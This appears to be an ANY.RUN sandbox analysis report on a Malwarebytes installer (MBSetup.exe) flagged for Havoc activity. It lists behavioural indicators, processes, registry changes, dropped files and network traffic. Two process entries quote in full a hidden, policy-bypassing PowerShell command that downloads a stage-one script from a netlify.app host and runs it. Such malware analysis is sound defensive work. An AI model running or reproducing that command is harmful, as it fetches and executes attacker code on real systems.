File name:

MBSetup.exe

Full analysis: https://app.any.run/tasks/79094e1a-4f07-4ea4-ba9f-2b327a2ee0ed
Verdict: Malicious activity
Threats:

Havoc is an advanced post-exploitation framework used by hackers to take control of a system once they've breached it. With Havoc, attackers can run commands remotely, inject malicious processes, and access sensitive data. It's often used in targeted attacks, allowing cybercriminals to stay hidden in a network while stealing information or launching further attacks. Its flexibility and ability to bypass detection make it a serious threat, especially in environments that rely on traditional security tools.

Malware Trends Tracker     >>>
Analysis date: April 23, 2025, 23:54:10
OS: Windows 10 Professional (build: 19044, 64 bit)
Tags:
auto
havoc
arch-exec
connectwise
rmm-tool
stealer
possible-phishing
Indicators:
MIME: application/vnd.microsoft.portable-executable
File info: PE32 executable (GUI) Intel 80386, for MS Windows, 5 sections
MD5:

B6D8B7E6F74196F62CABA2CA77A7AE91

SHA1:

6AC9C99F084B5772440E2F135B8D5365F7F45314

SHA256:

74B0BF9C17091AB1C6C61AF0AEFBC599F1ECC0FFF6DEE0144A3DFD5CD1F5E18F

SSDEEP:

98304:gWn8nBJ4ZfXM5t0X1NrH22IT1PD2222222721vFdGBeQN0aFvGSSRkrlcfABLqIL:DXL

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • HAVOC has been found (auto)

      • WinRAR.exe (PID: 7772)
      • firefox.exe (PID: 2340)

    • Actions looks like stealing of personal data

      • MBAMService.exe (PID: 7448)

    • Run PowerShell with an invisible window

      • powershell.exe (PID: 1056)

    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 1244)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 1056)

  • SUSPICIOUS

    • Reads the BIOS version

      • MBSetup.exe (PID: 5680)
      • MBAMService.exe (PID: 7448)
      • mbupdatrV5.exe (PID: 7312)

    • Creates files in the driver directory

      • MBSetup.exe (PID: 5680)
      • MBAMInstallerService.exe (PID: 5008)
      • drvinst.exe (PID: 2904)
      • MBVpnTunnelService.exe (PID: 7388)
      • MBAMService.exe (PID: 7512)
      • MBAMService.exe (PID: 7448)

    • Searches for installed software

      • MBSetup.exe (PID: 5680)
      • MBAMInstallerService.exe (PID: 5008)
      • MBAMService.exe (PID: 7448)

    • Executable content was dropped or overwritten

      • MBSetup.exe (PID: 5680)
      • MBAMInstallerService.exe (PID: 5008)
      • MBVpnTunnelService.exe (PID: 7388)
      • drvinst.exe (PID: 2904)
      • MBAMService.exe (PID: 7512)
      • MBAMService.exe (PID: 7448)

    • The process verifies whether the antivirus software is installed

      • MBSetup.exe (PID: 5680)
      • MBAMInstallerService.exe (PID: 5008)
      • MBVpnTunnelService.exe (PID: 7388)
      • drvinst.exe (PID: 2904)
      • MBAMService.exe (PID: 7512)
      • MBAMService.exe (PID: 7448)
      • Malwarebytes.exe (PID: 1116)
      • MBAMWsc.exe (PID: 4756)
      • Malwarebytes.exe (PID: 3976)
      • Malwarebytes.exe (PID: 4108)
      • assistant.exe (PID: 7736)
      • Malwarebytes.exe (PID: 2284)
      • MBAMWsc.exe (PID: 7380)
      • mbupdatrV5.exe (PID: 7312)
      • Malwarebytes.exe (PID: 7828)

    • Executes as Windows Service

      • MBAMInstallerService.exe (PID: 5008)
      • MBAMService.exe (PID: 7448)

    • Drops 7-zip archiver for unpacking

      • MBAMInstallerService.exe (PID: 5008)

    • Drops a system driver (possible attempt to evade defenses)

      • MBAMInstallerService.exe (PID: 5008)
      • MBVpnTunnelService.exe (PID: 7388)
      • drvinst.exe (PID: 2904)
      • MBAMService.exe (PID: 7512)
      • MBAMService.exe (PID: 7448)

    • The process drops C-runtime libraries

      • MBAMInstallerService.exe (PID: 5008)
      • MBAMService.exe (PID: 7448)

    • Adds/modifies Windows certificates

      • MBAMInstallerService.exe (PID: 5008)
      • MBAMService.exe (PID: 7448)

    • Changes Internet Explorer settings (feature browser emulation)

      • MBAMInstallerService.exe (PID: 5008)
      • MBAMService.exe (PID: 7448)

    • Process drops legitimate windows executable

      • MBAMInstallerService.exe (PID: 5008)
      • MBAMService.exe (PID: 7448)

    • The process creates files with name similar to system file names

      • MBAMInstallerService.exe (PID: 5008)

    • Creates or modifies Windows services

      • MBAMService.exe (PID: 7512)
      • MBAMService.exe (PID: 7448)

    • Reads security settings of Internet Explorer

      • MBAMService.exe (PID: 7448)
      • ig.exe (PID: 7256)
      • Malwarebytes.exe (PID: 1116)
      • ShellExperienceHost.exe (PID: 5404)

    • Creates/Modifies COM task schedule object

      • MBAMService.exe (PID: 7448)

    • Creates a software uninstall entry

      • MBAMInstallerService.exe (PID: 5008)

    • There is functionality for taking screenshot (YARA)

      • Malwarebytes.exe (PID: 1116)

    • Application launched itself

      • Malwarebytes.exe (PID: 3976)
      • Malwarebytes.exe (PID: 2284)

    • Possibly malicious use of IEX has been detected

      • cmd.exe (PID: 1244)

    • Downloads file from URI via Powershell

      • powershell.exe (PID: 1056)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 1244)

    • The process executes Powershell scripts

      • cmd.exe (PID: 1244)

    • The process bypasses the loading of PowerShell profile settings

      • cmd.exe (PID: 1244)

  • INFO

    • The sample compiled with english language support

      • MBSetup.exe (PID: 5680)
      • MBAMInstallerService.exe (PID: 5008)
      • drvinst.exe (PID: 2904)
      • MBVpnTunnelService.exe (PID: 7388)
      • MBAMService.exe (PID: 7512)
      • MBAMService.exe (PID: 7448)

    • Create files in a temporary directory

      • MBSetup.exe (PID: 5680)

    • Checks supported languages

      • MBSetup.exe (PID: 5680)
      • MBAMInstallerService.exe (PID: 5008)
      • drvinst.exe (PID: 2904)
      • MBVpnTunnelService.exe (PID: 7388)
      • MBAMService.exe (PID: 7512)
      • MBAMService.exe (PID: 7448)
      • ig.exe (PID: 7256)
      • Malwarebytes.exe (PID: 1116)
      • MBAMWsc.exe (PID: 4756)
      • Malwarebytes.exe (PID: 3976)
      • Malwarebytes.exe (PID: 4108)
      • ShellExperienceHost.exe (PID: 5404)
      • assistant.exe (PID: 7736)
      • Malwarebytes.exe (PID: 2284)
      • Malwarebytes.exe (PID: 7828)
      • MBAMWsc.exe (PID: 7380)
      • mbupdatrV5.exe (PID: 7312)

    • Creates files in the program directory

      • MBSetup.exe (PID: 5680)
      • MBAMInstallerService.exe (PID: 5008)
      • MBVpnTunnelService.exe (PID: 7388)
      • MBAMService.exe (PID: 7448)
      • Malwarebytes.exe (PID: 1116)
      • mbupdatrV5.exe (PID: 7312)

    • Reads the computer name

      • MBSetup.exe (PID: 5680)
      • MBAMInstallerService.exe (PID: 5008)
      • MBVpnTunnelService.exe (PID: 7388)
      • MBAMService.exe (PID: 7512)
      • MBAMService.exe (PID: 7448)
      • drvinst.exe (PID: 2904)
      • ig.exe (PID: 7256)
      • MBAMWsc.exe (PID: 4756)
      • Malwarebytes.exe (PID: 1116)
      • Malwarebytes.exe (PID: 3976)
      • Malwarebytes.exe (PID: 4108)
      • ShellExperienceHost.exe (PID: 5404)
      • assistant.exe (PID: 7736)
      • Malwarebytes.exe (PID: 2284)
      • Malwarebytes.exe (PID: 7828)
      • mbupdatrV5.exe (PID: 7312)
      • MBAMWsc.exe (PID: 7380)

    • Reads the machine GUID from the registry

      • MBSetup.exe (PID: 5680)
      • MBAMInstallerService.exe (PID: 5008)
      • drvinst.exe (PID: 2904)
      • MBAMService.exe (PID: 7448)
      • mbupdatrV5.exe (PID: 7312)

    • Reads the software policy settings

      • MBSetup.exe (PID: 5680)
      • MBAMInstallerService.exe (PID: 5008)
      • slui.exe (PID: 6372)
      • slui.exe (PID: 7680)
      • drvinst.exe (PID: 2904)
      • MBAMService.exe (PID: 7448)
      • Malwarebytes.exe (PID: 1116)

    • Checks proxy server information

      • MBSetup.exe (PID: 5680)
      • slui.exe (PID: 7680)
      • Malwarebytes.exe (PID: 1116)
      • powershell.exe (PID: 1056)

    • Application launched itself

      • firefox.exe (PID: 616)
      • firefox.exe (PID: 2340)

    • Manual execution by a user

      • firefox.exe (PID: 616)
      • WinRAR.exe (PID: 7772)
      • Malwarebytes.exe (PID: 3976)
      • assistant.exe (PID: 7736)
      • cmd.exe (PID: 1244)

    • The sample compiled with spanish language support

      • MBAMInstallerService.exe (PID: 5008)

    • Adds/modifies Windows certificates

      • drvinst.exe (PID: 2904)

    • Reads CPU info

      • MBAMService.exe (PID: 7448)

    • Reads the time zone

      • MBAMService.exe (PID: 7448)

    • Reads Environment values

      • MBAMService.exe (PID: 7448)

    • CONNECTWISE has been detected

      • MBAMService.exe (PID: 7448)

    • Creates files or folders in the user directory

      • Malwarebytes.exe (PID: 1116)

    • Process checks whether UAC notifications are on

      • Malwarebytes.exe (PID: 1116)

    • Process checks computer location settings

      • Malwarebytes.exe (PID: 1116)

    • Disables trace logs

      • powershell.exe (PID: 1056)

    • Script raised an exception (POWERSHELL)

      • powershell.exe (PID: 1056)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.exe | Win64 Executable (generic) (76.4)
.exe | Win32 Executable (generic) (12.4)
.exe | Generic Win/DOS Executable (5.5)
.exe | DOS Executable Generic (5.5)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2024:03:19 17:48:54+00:00
ImageFileCharacteristics: Executable, 32-bit
PEType: PE32
LinkerVersion: 14.16
CodeSize: 750080
InitializedDataSize: 1796608
UninitializedDataSize: -
EntryPoint: 0x6ee6e
OSVersion: 6
ImageVersion: -
SubsystemVersion: 6
Subsystem: Windows GUI
FileVersionNumber: 5.1.2.88
ProductVersionNumber: 0.0.0.0
FileFlagsMask: 0x003f
FileFlags: (none)
FileOS: Windows NT 32-bit
ObjectFileType: Dynamic link library
FileSubtype: -
LanguageCode: English (U.S.)
CharacterSet: Unicode
CompanyName: Malwarebytes
FileDescription: Malwarebytes Setup
FileVersion: 5.1.2.88
LegalCopyright: Copyright (C) 2017 - 2024 Malwarebytes, Inc. All rights reserved.
InternalName: MBSetup.exe
OriginalFileName: MBSetup.exe
ProductName: Malwarebytes
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
196
Monitored processes
58
Malicious processes
17
Suspicious processes
4

Behavior graph

Click at the process to see the details
start mbsetup.exe sppextcomobj.exe no specs slui.exe mbaminstallerservice.exe firefox.exe no specs #HAVOC firefox.exe firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs firefox.exe no specs rundll32.exe no specs slui.exe #HAVOC winrar.exe no specs mbvpntunnelservice.exe conhost.exe no specs drvinst.exe mbamservice.exe mbamservice.exe ig.exe no specs help.exe no specs help.exe no specs malwarebytes.exe mbamwsc.exe no specs malwarebytes.exe no specs malwarebytes.exe no specs shellexperiencehost.exe no specs assistant.exe no specs malwarebytes.exe no specs malwarebytes.exe no specs mbamwsc.exe no specs mbupdatrv5.exe no specs ig.exe no specs ig.exe no specs ig.exe no specs ig.exe no specs ig.exe no specs ig.exe no specs ig.exe no specs ig.exe no specs ig.exe no specs ig.exe no specs ig.exe no specs ig.exe no specs ig.exe no specs cmd.exe no specs conhost.exe no specs powershell.exe no specs conhost.exe no specs svchost.exe mbsetup.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
616"C:\Program Files\Mozilla Firefox\firefox.exe" C:\Program Files\Mozilla Firefox\firefox.exe—explorer.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
MEDIUM
Description:
Firefox
Exit code:
0
Version:
123.0
Modules
Images
c:\program files\mozilla firefox\firefox.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\program files\mozilla firefox\mozglue.dll
c:\program files\mozilla firefox\msvcp140.dll
c:\program files\mozilla firefox\vcruntime140.dll
c:\windows\system32\crypt32.dll
c:\program files\mozilla firefox\vcruntime140_1.dll
904"C:\Users\admin\AppData\Local\Temp\MBSetup.exe" C:\Users\admin\AppData\Local\Temp\MBSetup.exe—explorer.exe
User:
admin
Company:
Malwarebytes
Integrity Level:
MEDIUM
Description:
Malwarebytes Setup
Exit code:
3221226540
Version:
5.1.2.88
Modules
Images
c:\users\admin\appdata\local\temp\mbsetup.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
904ig.exe reseedC:\Program Files\Malwarebytes\Anti-Malware\ig.exe—MBAMService.exe
User:
admin
Company:
MalwareBytes
Integrity Level:
LOW
Description:
Malware Scanner
Exit code:
6291456
Version:
1.0.4.8
Modules
Images
c:\program files\malwarebytes\anti-malware\ig.exe
c:\windows\system32\ntdll.dll
c:\windows\syswow64\ntdll.dll
924\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
968"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4912 -childID 3 -isForBrowser -prefsHandle 4112 -prefMapHandle 2620 -prefsLen 31243 -prefMapSize 244583 -jsInitHandle 1444 -jsInitLen 235124 -parentBuildID 20240213221259 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {916bb4a4-fae1-4228-a703-46f063997c3b} 2340 "\\.\pipe\gecko-crash-server-pipe.2340" 1860db66bd0 tabC:\Program Files\Mozilla Firefox\firefox.exe—firefox.exe
User:
admin
Company:
Mozilla Corporation
Integrity Level:
MEDIUM
Description:
Firefox
Exit code:
0
Version:
123.0
Modules
Images
c:\program files\mozilla firefox\firefox.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\ucrtbase.dll
c:\program files\mozilla firefox\mozglue.dll
c:\windows\system32\crypt32.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\msvcp140.dll
c:\windows\system32\vcruntime140.dll
1056powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "iwr -uri 'https://hilarious-trifle-d9182e.netlify.app/stage1.ps1' -UseBasicParsing | IEX"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
1
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\oleaut32.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
1116"C:\Program Files\Malwarebytes\Anti-Malware\Malwarebytes.exe" nowindowC:\Program Files\Malwarebytes\Anti-Malware\Malwarebytes.exe
MBAMService.exe
User:
admin
Company:
Malwarebytes
Integrity Level:
MEDIUM
Description:
Malwarebytes
Version:
5.0.0.1163
Modules
Images
c:\program files\malwarebytes\anti-malware\malwarebytes.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
1244"C:\Windows\System32\cmd.exe" /c start "" /min powershell -WindowStyle Hidden -NoProfile -ExecutionPolicy Bypass -Command "iwr -uri 'https://hilarious-trifle-d9182e.netlify.app/stage1.ps1' -UseBasicParsing | IEX"C:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\program files\malwarebytes\anti-malware\mbae64.dll
c:\windows\system32\ws2_32.dll
2196C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s DnscacheC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\combase.dll
c:\windows\system32\kernel.appcore.dll
2284"Malwarebytes" --ContextScan C:\Users\admin\AppData\Local\Temp\mb_4DE0.tmpC:\Program Files\Malwarebytes\Anti-Malware\Malwarebytes.exe—assistant.exe
User:
admin
Company:
Malwarebytes
Integrity Level:
MEDIUM
Description:
Malwarebytes
Exit code:
0
Version:
5.0.0.1163
Modules
Images
c:\program files\malwarebytes\anti-malware\malwarebytes.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\win32u.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\gdi32full.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
Total events
317 478
Read events
316 498
Write events
950
Delete events
30

Modification events

(PID) Process:(5680) MBSetup.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\Malwarebytes
Operation:writeName:id
Value:
d804ea0a32b8455d8e3cb9cee73efa6f
(PID) Process:(5680) MBSetup.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Malwarebytes
Operation:writeName:id
Value:
d804ea0a32b8455d8e3cb9cee73efa6f
(PID) Process:(5680) MBSetup.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\mbamtestkey
Operation:delete keyName:(default)
Value:
(PID) Process:(5680) MBSetup.exeKey:HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Malwarebytes
Operation:delete valueName:IrisFirstRun
Value:
(PID) Process:(5680) MBSetup.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\MBAMInstallerService\Parameters
Operation:writeName:UserName
Value:
admin
(PID) Process:(5680) MBSetup.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\MBAMInstallerService\Parameters
Operation:writeName:ProductCode
Value:
MBAM-C
(PID) Process:(5680) MBSetup.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\MBAMInstallerService\Parameters
Operation:writeName:ProductBuild
Value:
consumer
(PID) Process:(5680) MBSetup.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\MBAMInstallerService\Parameters
Operation:writeName:ProgramDirectory
Value:
C:\Program Files\Malwarebytes\Anti-Malware
(PID) Process:(5680) MBSetup.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\MBAMInstallerService\Parameters
Operation:writeName:LocalAppDataDir
Value:
C:\Users\admin\AppData\Local
(PID) Process:(5680) MBSetup.exeKey:HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Services\MBAMInstallerService\Parameters
Operation:writeName:Channel
Value:
release
Executable files
1 295
Suspicious files
473
Text files
103
Unknown types
0

Dropped files

PID
Process
Filename
Type
5008MBAMInstallerService.exeC:\Windows\Temp\MBInstallTemp557862d1209e11f08600d0a54e21b801\ctlrpkg.7z —
MD5:—
SHA256:—
2340firefox.exeC:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\9kie7cg6.default-release\startupCache\scriptCache-current.bin —
MD5:—
SHA256:—
5008MBAMInstallerService.exeC:\Windows\Temp\MBInstallTemp557862d1209e11f08600d0a54e21b801\dbclspkg.7z —
MD5:—
SHA256:—
5680MBSetup.exeC:\ProgramData\mbamtestfile.dattext
MD5:9F06243ABCB89C70E0C331C61D871FA7
SHA256:837CCB607E312B170FAC7383D7CCFD61FA5072793F19A25E75FBACB56539B86B
2340firefox.exeC:\Users\admin\AppData\Roaming\Mozilla\Firefox\Profiles\9kie7cg6.default-release\cookies.sqlite-shmbinary
MD5:B7C14EC6110FA820CA6B65F5AEC85911
SHA256:FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
5680MBSetup.exeC:\Program Files\Malwarebytes\Anti-Malware\MBAMInstallerService.exeexecutable
MD5:CEA3222BD01165E983F7079C4DD88B11
SHA256:4D3204DD695B8A7E32A4E123B79D3470088CCAA3BDDAA187C2661445CA852344
5680MBSetup.exeC:\Program Files (x86)\mbamtestfile.dattext
MD5:9F06243ABCB89C70E0C331C61D871FA7
SHA256:837CCB607E312B170FAC7383D7CCFD61FA5072793F19A25E75FBACB56539B86B
5680MBSetup.exeC:\Windows\SysWOW64\drivers\mbamtestfile.dattext
MD5:9F06243ABCB89C70E0C331C61D871FA7
SHA256:837CCB607E312B170FAC7383D7CCFD61FA5072793F19A25E75FBACB56539B86B
2340firefox.exeC:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\9kie7cg6.default-release\startupCache\scriptCache-child-current.binbinary
MD5:C95DDC2B1A525D1A243E4C294DA2F326
SHA256:3A5919E086BFB31E36110CF636D2D5109EB51F2C410B107F126126AB25D67363
2340firefox.exeC:\Users\admin\AppData\Local\Mozilla\Firefox\Profiles\9kie7cg6.default-release\startupCache\urlCache-current.binbinary
MD5:297E88D7CEB26E549254EC875649F4EB
SHA256:8B75D4FB1845BAA06122888D11F6B65E6A36B140C54A72CC13DF390FD7C95702
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
35
TCP/UDP connections
105
DNS requests
147
Threats
4

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
—
—
GET
200
23.48.23.143:80
http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl
unknown
—
—
whitelisted
—
—
GET
200
184.30.21.171:80
http://www.microsoft.com/pkiops/crl/MicSecSerCA2011_2011-10-18.crl
unknown
—
—
whitelisted
2384
SIHClient.exe
GET
200
2.23.181.156:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Product%20Root%20Certificate%20Authority%202018.crl
unknown
—
—
whitelisted
2384
SIHClient.exe
GET
200
2.23.181.156:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
6544
svchost.exe
GET
200
2.17.190.73:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
2340
firefox.exe
GET
200
34.107.221.82:80
http://detectportal.firefox.com/canonical.html
unknown
—
—
whitelisted
2340
firefox.exe
POST
200
2.23.82.9:80
http://r11.o.lencr.org/
unknown
—
—
whitelisted
2340
firefox.exe
POST
200
216.58.206.35:80
http://o.pki.goog/s/wr3/cgo
unknown
—
—
whitelisted
2340
firefox.exe
POST
200
2.23.82.9:80
http://r11.o.lencr.org/
unknown
—
—
whitelisted
2340
firefox.exe
GET
200
34.107.221.82:80
http://detectportal.firefox.com/success.txt?ipv4
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
—
—
4.231.128.59:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
4
System
192.168.100.255:138
—
—
—
whitelisted
—
—
23.48.23.143:80
crl.microsoft.com
Akamai International B.V.
DE
whitelisted
—
—
184.30.21.171:80
www.microsoft.com
AKAMAI-AS
DE
whitelisted
3216
svchost.exe
172.211.123.248:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
FR
whitelisted
5680
MBSetup.exe
52.26.118.217:443
api2.amplitude.com
AMAZON-02
US
whitelisted
6544
svchost.exe
20.190.159.131:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
whitelisted
6544
svchost.exe
2.17.190.73:80
ocsp.digicert.com
AKAMAI-AS
DE
whitelisted
4
System
192.168.100.255:137
—
—
—
whitelisted
5680
MBSetup.exe
3.230.91.16:443
ark.mwbsys.com
AMAZON-AES
US
whitelisted

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 4.231.128.59
whitelisted
crl.microsoft.com
  • 23.48.23.143
  • 23.48.23.173
  • 23.48.23.176
  • 23.48.23.147
whitelisted
www.microsoft.com
  • 184.30.21.171
  • 2.23.181.156
whitelisted
google.com
  • 142.250.185.238
whitelisted
client.wns.windows.com
  • 172.211.123.248
  • 172.211.123.250
whitelisted
api2.amplitude.com
  • 52.26.118.217
  • 54.212.248.5
  • 52.35.84.106
  • 34.211.193.176
  • 34.213.93.30
  • 44.231.179.114
  • 52.24.67.189
  • 34.211.32.116
  • 34.218.15.225
  • 44.235.128.203
  • 54.187.220.78
  • 52.37.116.60
  • 34.214.130.143
  • 44.227.220.213
  • 54.148.164.196
  • 35.161.107.224
whitelisted
login.live.com
  • 20.190.159.131
  • 40.126.31.71
  • 40.126.31.1
  • 40.126.31.69
  • 20.190.159.128
  • 20.190.159.4
  • 20.190.159.130
  • 20.190.159.68
whitelisted
ocsp.digicert.com
  • 2.17.190.73
whitelisted
ark.mwbsys.com
  • 3.230.91.16
  • 52.206.21.148
  • 98.83.243.66
whitelisted
slscr.update.microsoft.com
  • 20.12.23.50
whitelisted

Threats

PID
Process
Class
Message
2196
svchost.exe
Not Suspicious Traffic
INFO [ANY.RUN] Cloudflare R2 Storage (r2 .cloudflarestorage .com)
2196
svchost.exe
Not Suspicious Traffic
INFO [ANY.RUN] Cloudflare R2 Storage (r2 .cloudflarestorage .com)
2196
svchost.exe
Not Suspicious Traffic
INFO [ANY.RUN] Cloudflare R2 Storage (r2 .cloudflarestorage .com)
2196
svchost.exe
Possible Social Engineering Attempted
ET HUNTING Suspicious Netlify Hosted DNS Request - Possible Phishing Landing
Process
Message
MBAMService.exe
Retry XPE file open
MBAMService.exe
Retry XPE file open
MBAMService.exe
Retry XPE file open
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
MBSetup.exe